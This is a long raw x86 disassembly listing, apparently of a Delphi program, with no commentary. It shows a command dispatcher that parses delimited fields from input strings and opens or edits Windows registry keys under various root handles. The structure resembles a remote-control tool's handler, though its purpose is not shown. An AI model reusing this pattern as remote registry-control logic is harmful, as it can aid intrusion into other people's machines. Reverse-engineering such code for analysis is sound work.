mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc00]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc04]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc04]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc0c]
push eax
lea ecx, [ebp - 0xc10]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc10]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc0c]
lea edx, [ebp - 0xc08]
call fcn.0058ff30
mov eax, dword [ebp - 0xc08]
call fcn.005936d4
test al, al
je 0x5993ed
lea eax, [ebp - 0xc18]
push eax
lea ecx, [ebp - 0xc1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc1c]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc18]
lea edx, [ebp - 0xc14]
call fcn.0058ff30
mov eax, dword [ebp - 0xc14]
call fcn.005936d4
test al, al
je 0x5993c3
lea edx, [ebp - 0xc20]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc20]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x5993ed
lea edx, [ebp - 0xc24]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc24]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc28]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc28]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc30]
push eax
lea ecx, [ebp - 0xc34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc34]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc30]
lea edx, [ebp - 0xc2c]
call fcn.0058ff30
mov eax, dword [ebp - 0xc2c]
call fcn.005936d4
test al, al
je 0x5996b5
call fcn.00581e4c
lea eax, [ebp - 0x43c]
call fcn.00582888
lea eax, [ebp - 0xc3c]
push eax
lea ecx, [ebp - 0xc40]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc40]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc3c]
lea edx, [ebp - 0xc38]
call fcn.0058ff30
mov eax, dword [ebp - 0xc38]
call fcn.005936d4
test al, al
je 0x599573
lea eax, [ebp - 0xc48]
push eax
lea ecx, [ebp - 0xc4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc4c]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc48]
lea edx, [ebp - 0xc44]
call fcn.0058ff30
mov eax, dword [ebp - 0xc44]
call fcn.005936d4
test al, al
je 0x599549
lea edx, [ebp - 0xc50]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc50]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599573
lea edx, [ebp - 0xc54]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc54]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc58]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc58]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc60]
push eax
lea ecx, [ebp - 0xc64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc64]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc60]
lea edx, [ebp - 0xc5c]
call fcn.0058ff30
mov eax, dword [ebp - 0xc5c]
call fcn.005936d4
test al, al
je 0x599693
lea eax, [ebp - 0xc6c]
push eax
lea ecx, [ebp - 0xc70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc70]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc6c]
lea edx, [ebp - 0xc68]
call fcn.0058ff30
mov eax, dword [ebp - 0xc68]
call fcn.005936d4
test al, al
je 0x599669
lea edx, [ebp - 0xc74]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc74]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599693
lea edx, [ebp - 0xc78]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc78]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xc7c]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc7c]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xc84]
push eax
lea ecx, [ebp - 0xc88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc88]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc84]
lea edx, [ebp - 0xc80]
call fcn.0058ff30
mov eax, dword [ebp - 0xc80]
call fcn.005936d4
test al, al
je 0x59995b
call fcn.00581e4c
lea eax, [ebp - 0x43c]
call fcn.00582a80
lea eax, [ebp - 0xc90]
push eax
lea ecx, [ebp - 0xc94]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xc94]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc90]
lea edx, [ebp - 0xc8c]
call fcn.0058ff30
mov eax, dword [ebp - 0xc8c]
call fcn.005936d4
test al, al
je 0x599819
lea eax, [ebp - 0xc9c]
push eax
lea ecx, [ebp - 0xca0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xca0]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xc9c]
lea edx, [ebp - 0xc98]
call fcn.0058ff30
mov eax, dword [ebp - 0xc98]
call fcn.005936d4
test al, al
je 0x5997ef
lea edx, [ebp - 0xca4]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xca4]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599819
lea edx, [ebp - 0xca8]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xca8]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xcac]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcac]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xcb4]
push eax
lea ecx, [ebp - 0xcb8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcb8]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xcb4]
lea edx, [ebp - 0xcb0]
call fcn.0058ff30
mov eax, dword [ebp - 0xcb0]
call fcn.005936d4
test al, al
je 0x599939
lea eax, [ebp - 0xcc0]
push eax
lea ecx, [ebp - 0xcc4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcc4]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xcc0]
lea edx, [ebp - 0xcbc]
call fcn.0058ff30
mov eax, dword [ebp - 0xcbc]
call fcn.005936d4
test al, al
je 0x59990f
lea edx, [ebp - 0xcc8]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcc8]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599939
lea edx, [ebp - 0xccc]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xccc]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xcd0]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcd0]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xcd8]
push eax
lea ecx, [ebp - 0xcdc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcdc]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xcd8]
lea edx, [ebp - 0xcd4]
call fcn.0058ff30
mov eax, dword [ebp - 0xcd4]
call fcn.005936d4
test al, al
je 0x599e68
call fcn.00581e4c
lea edx, [ebp - 0xce0]
mov eax, dword [ebp - 0x3d4]
call fcn.0058ff30
mov eax, dword [ebp - 0xce0]
lea ecx, [ebp - 0x43c]
mov dl, 2
call fcn.00582ccc
lea eax, [ebp - 0xce8]
push eax
lea ecx, [ebp - 0xcec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcec]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xce8]
lea edx, [ebp - 0xce4]
call fcn.0058ff30
mov eax, dword [ebp - 0xce4]
call fcn.005936d4
test al, al
je 0x599ad8
lea eax, [ebp - 0xcf4]
push eax
lea ecx, [ebp - 0xcf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xcf8]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xcf4]
lea edx, [ebp - 0xcf0]
call fcn.0058ff30
mov eax, dword [ebp - 0xcf0]
call fcn.005936d4
test al, al
je 0x599aae
lea edx, [ebp - 0xcfc]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xcfc]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599ad8
lea edx, [ebp - 0xd00]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd00]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xd04]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd04]
mov edx, dword [eax]
call dword [edx + 0x104]
lea eax, [ebp - 0xd0c]
push eax
lea ecx, [ebp - 0xd10]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd10]
mov ecx, 8
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xd0c]
lea edx, [ebp - 0xd08]
call fcn.0058ff30
mov eax, dword [ebp - 0xd08]
call fcn.005936d4
test al, al
je 0x599bf8
lea eax, [ebp - 0xd18]
push eax
lea ecx, [ebp - 0xd1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd1c]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xd18]
lea edx, [ebp - 0xd14]
call fcn.0058ff30
mov eax, dword [ebp - 0xd14]
call fcn.005936d4
test al, al
je 0x599bce
lea edx, [ebp - 0xd20]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd20]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x599bf8
lea edx, [ebp - 0xd24]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd24]
mov cl, 1
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xf8]
lea edx, [ebp - 0xd28]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd28]
mov edx, dword [eax]
call dword [edx + 0x104]
jmp 0x599e68
lea eax, [ebp - 0xd30]
push eax
lea ecx, [ebp - 0xd34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd34]
mov ecx, 0xa
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xd30]
lea edx, [ebp - 0xd2c]
call fcn.0058ff30
mov eax, dword [ebp - 0xd2c]
call fcn.005936d4
test al, al
je 0x599d8a
lea edx, [ebp - 0xd38]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd38]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd3c]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd3c]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd40]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd40]
mov edx, dword [eax]
call dword [edx + 0xf4]
lea edx, [ebp - 0xd44]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd44]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd48]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd48]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd4c]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd4c]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd50]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd50]
mov edx, dword [eax]
call dword [edx + 0xf0]
lea edx, [ebp - 0xd54]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd54]
mov edx, dword [eax]
call dword [edx + 0x104]
jmp 0x599e68
lea eax, [ebp - 0xd5c]
push eax
lea ecx, [ebp - 0xd60]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd60]
mov ecx, 0xb
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xd5c]
lea edx, [ebp - 0xd58]
call fcn.0058ff30
mov eax, dword [ebp - 0xd58]
call fcn.005936d4
test al, al
je 0x599e68
lea edx, [ebp - 0xd64]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd64]
mov edx, dword [eax]
call dword [edx + 0xec]
lea edx, [ebp - 0xd68]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd68]
mov edx, dword [eax]
call dword [edx + 0x104]
lea edx, [ebp - 0xd6c]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd6c]
mov edx, dword [eax]
call dword [edx + 0xf4]
lea edx, [ebp - 0xd70]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xd70]
mov edx, dword [eax]
call dword [edx + 0x104]
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5adf74
call fcn.00405ec0
jne 0x599fff
xor eax, eax
push ebp
push 0x599ff8
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0xd74]
push eax
lea ecx, [ebp - 0xd78]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd78]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xd74]
lea edx, [ebp - 0x3d0]
call fcn.005939c8
cmp dword [0x5dbd5c], 0
je 0x599f76
push 0
lea eax, [ebp - 0xd80]
push eax
lea eax, [ebp - 0xd84]
push eax
lea ecx, [ebp - 0xd88]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd88]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov edx, dword [ebp - 0xd84]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b2550
mov eax, dword [ebp - 0xd80]
lea edx, [ebp - 0xd7c]
call fcn.005939c8
mov edx, dword [ebp - 0xd7c]
lea eax, [ebp - 0x3d0]
call fcn.00405b30
push 0x5adf48
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
mov eax, dword [ebp - 0x3d0]
call fcn.0058e5a4
lea edx, [ebp - 0xd90]
mov eax, dword [ebp - 0x424]
call fcn.0058ff30
mov eax, dword [ebp - 0xd90]
push eax
lea edx, [ebp - 0xd94]
mov eax, dword [ebp - 0x420]
call fcn.0058ff30
mov eax, dword [ebp - 0xd94]
lea ecx, [ebp - 0xd8c]
pop edx
call fcn.005894f8
mov eax, dword [ebp - 0xd8c]
mov edx, dword [eax]
call dword [edx + 0xd0]
call fcn.00405498
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5adf8c
call fcn.00405ec0
jne 0x59a146
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xd98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xd98]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x59a092
lea edx, [ebp - 0xd9c]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0xd9c]
push eax
lea eax, [ebp - 0xda0]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xda0]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0xda8]
push eax
lea ecx, [ebp - 0xdac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdac]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xda8]
lea edx, [ebp - 0xda4]
call fcn.005939c8
mov eax, dword [ebp - 0xda4]
call fcn.0058e374
test al, al
je 0x59a115
lea eax, [ebp - 0xdb0]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xdb0]
mov edx, 0x5ad834
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5acf48
lea eax, [ebp - 0xdb4]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xdb4]
mov edx, 0x5ad6f8
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5adfb4
call fcn.00405ec0
jne 0x59a36e
lea eax, [ebp - 0xdbc]
push eax
lea ecx, [ebp - 0xdc0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdc0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xdbc]
lea edx, [ebp - 0xdb8]
call fcn.005939c8
mov eax, dword [ebp - 0xdb8]
push eax
lea eax, [ebp - 0xdc8]
push eax
lea ecx, [ebp - 0xdcc]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdcc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xdc8]
lea edx, [ebp - 0xdc4]
call fcn.005939c8
mov eax, dword [ebp - 0xdc4]
pop edx
call fcn.0058e4f8
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x54c]
cmp eax, 7
ja case.0x59a20a.0
jmp dword [eax*4 + 0x59a211]
lea eax, [ebp - 0x3c0]
mov edx, 0x5adfcc
call fcn.00405b30
jmp 0x59a2bf
lea eax, [ebp - 0x3c0]
mov edx, 0x5adfe8
call fcn.00405b30
jmp 0x59a2bf
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae000
call fcn.00405b30
jmp 0x59a2bf
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae010
call fcn.00405b30
jmp 0x59a2bf
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae020
call fcn.00405b30
jmp 0x59a2bf
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae034
call fcn.00405b30
jmp 0x59a2bf
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae048
call fcn.00405b30
jmp 0x59a2bf
lea eax, [ebp - 0x3c0]
mov edx, 0x5ae058
call fcn.00405b30
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xdd0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdd0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0x3b0]
call fcn.005af6a8
test al, al
jne 0x59a33c
lea edx, [ebp - 0xdd4]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0xdd4]
push eax
lea eax, [ebp - 0xdd8]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xdd8]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0xddc]
mov ecx, 0x5adfa4
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0xddc]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
jmp 0x5acf48
mov eax, dword [ebp - 0x438]
mov edx, 0x5ae070
call fcn.00405ec0
jne 0x59a687
xor eax, eax
push ebp
push 0x59a680
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059247c
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x53c], eax
xor eax, eax
push ebp
push 0x59a658
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xde0]
push eax
lea ecx, [ebp - 0xde4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xde4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xde0]
call fcn.0040b328
cmp eax, 4
ja case.default.0x59a3f9
jmp dword [eax*4 + 0x59a400]
mov edx, 0x80000000
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
jmp case.default.0x59a3f9
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
jmp case.default.0x59a3f9
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
jmp case.default.0x59a3f9
mov edx, 0x80000003
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
jmp case.default.0x59a3f9
mov edx, 0x80000005
mov eax, dword [ebp - 0x53c]
call fcn.004309c4
mov eax, dword [0x5d4b0c]
mov eax, dword [eax]
or eax, 0x2001f
mov edx, dword [ebp - 0x53c]
mov dword [edx + 0x18], eax
lea eax, [ebp - 0xde8]
push eax
lea ecx, [ebp - 0xdec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdec]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xde8]
call fcn.005936d4
test al, al
je 0x59a595
call fcn.0058e318
test al, al
je 0x59a53c
mov eax, dword [0x5dbca4]
mov edx, 0x5ad61c
call fcn.00405ec0
je 0x59a53c
lea eax, [ebp - 0xdf4]
push eax
lea ecx, [ebp - 0xdf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xdf8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xdf4]
lea edx, [ebp - 0xdf0]
call fcn.0058ff30
mov edx, dword [ebp - 0xdf0]
mov eax, dword [ebp - 0x53c]
mov eax, dword [eax + 8]
call fcn.00592344
jmp 0x59a64e
lea eax, [ebp - 0xe00]
push eax
lea ecx, [ebp - 0xe04]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe04]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xe00]
lea edx, [ebp - 0xdfc]
call fcn.0058ff30
mov edx, dword [ebp - 0xdfc]
mov eax, dword [ebp - 0x53c]
call fcn.00430d20
jmp 0x59a64e
lea eax, [ebp - 0xe0c]
push eax
lea ecx, [ebp - 0xe10]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe10]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
mov eax, dword [ebp - 0xe0c]
lea edx, [ebp - 0xe08]
call fcn.0058ff30
mov edx, dword [ebp - 0xe08]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.00430a2c
test al, al
je 0x59a64e
lea eax, [ebp - 0xe18]
push eax
lea ecx, [ebp - 0xe1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xe1c]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af6f8
